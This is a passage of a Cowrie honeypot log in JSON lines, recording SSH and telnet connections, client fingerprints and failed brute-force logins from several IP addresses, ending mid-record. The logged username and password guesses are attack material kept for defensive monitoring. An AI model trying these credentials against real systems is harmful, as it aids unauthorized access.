{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:17.490188Z","src_ip":"160.187.174.22","session":"c76dc921adbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:18.401851Z","src_ip":"160.187.174.22","session":"c76dc921adbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:19.638324Z","src_ip":"160.187.174.22","session":"c76dc921adbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":47406,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9710a96ecf1","protocol":"ssh","message":"New connection: 166.62.35.226:47406 (10.17.0.5:22) [session: b9710a96ecf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:23.203886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:23.207287Z","src_ip":"166.62.35.226","session":"b9710a96ecf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:23.272802Z","src_ip":"166.62.35.226","session":"b9710a96ecf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"quant456","message":"login attempt [root/quant456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:23.470171Z","src_ip":"166.62.35.226","session":"b9710a96ecf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:24.542399Z","src_ip":"166.62.35.226","session":"b9710a96ecf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":54892,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c31296ab33","protocol":"ssh","message":"New connection: 185.243.11.39:54892 (10.17.0.5:22) [session: 69c31296ab33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:28.253796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:28.258610Z","src_ip":"185.243.11.39","session":"69c31296ab33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:28.351305Z","src_ip":"185.243.11.39","session":"69c31296ab33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jimmy_song","password":"jimmy123","message":"login attempt [jimmy_song/jimmy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:28.630889Z","src_ip":"185.243.11.39","session":"69c31296ab33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:29.727575Z","src_ip":"185.243.11.39","session":"69c31296ab33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.42211675643921,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:35.659799Z","src_ip":"107.6.151.170","session":"1385a7611ed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56034,"dst_ip":"159.203.135.109","dst_port":22,"session":"49c62d75e5e9","protocol":"ssh","message":"New connection: 160.187.174.22:56034 (159.203.135.109:22) [session: 49c62d75e5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:44.685610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:44.689551Z","src_ip":"160.187.174.22","session":"49c62d75e5e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:44.936109Z","src_ip":"160.187.174.22","session":"49c62d75e5e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:45.665535Z","src_ip":"160.187.174.22","session":"49c62d75e5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:07:46.907846Z","src_ip":"160.187.174.22","session":"49c62d75e5e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55914,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd7c9d35a9d9","protocol":"ssh","message":"New connection: 160.187.174.22:55914 (159.203.135.109:22) [session: cd7c9d35a9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:13.461446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:13.470698Z","src_ip":"160.187.174.22","session":"cd7c9d35a9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:13.726100Z","src_ip":"160.187.174.22","session":"cd7c9d35a9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:14.438009Z","src_ip":"160.187.174.22","session":"cd7c9d35a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:15.676069Z","src_ip":"160.187.174.22","session":"cd7c9d35a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47464,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb16d11b6a03","protocol":"telnet","message":"New connection: 128.199.8.54:47464 (159.203.135.109:23) [session: cb16d11b6a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:40.326679Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38162,"dst_ip":"159.203.135.109","dst_port":22,"session":"a71409b0de99","protocol":"ssh","message":"New connection: 160.187.174.22:38162 (159.203.135.109:22) [session: a71409b0de99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:42.015989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:42.022658Z","src_ip":"160.187.174.22","session":"a71409b0de99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:42.262675Z","src_ip":"160.187.174.22","session":"a71409b0de99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:43.006773Z","src_ip":"160.187.174.22","session":"a71409b0de99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:44.249162Z","src_ip":"160.187.174.22","session":"a71409b0de99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":43390,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59600354e5b","protocol":"ssh","message":"New connection: 77.237.244.154:43390 (10.17.0.5:22) [session: a59600354e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:52.844781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:52.848915Z","src_ip":"77.237.244.154","session":"a59600354e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:52.940911Z","src_ip":"77.237.244.154","session":"a59600354e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manila","password":"Manila#Crypto$P@ss!","message":"login attempt [manila/Manila#Crypto$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:53.218150Z","src_ip":"77.237.244.154","session":"a59600354e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:08:54.312798Z","src_ip":"77.237.244.154","session":"a59600354e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":52490,"dst_ip":"10.17.0.5","dst_port":22,"session":"99b7da41378f","protocol":"ssh","message":"New connection: 91.92.40.4:52490 (10.17.0.5:22) [session: 99b7da41378f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:00.446162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:00.474612Z","src_ip":"91.92.40.4","session":"99b7da41378f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:00.527685Z","src_ip":"91.92.40.4","session":"99b7da41378f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:00.846842Z","src_ip":"91.92.40.4","session":"99b7da41378f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:01.931042Z","src_ip":"91.92.40.4","session":"99b7da41378f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51758,"dst_ip":"159.203.135.109","dst_port":22,"session":"13a47cb2a233","protocol":"ssh","message":"New connection: 160.187.174.22:51758 (159.203.135.109:22) [session: 13a47cb2a233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:09.901369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:09:09.905501Z","src_ip":"160.187.174.22","session":"13a47cb2a233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-d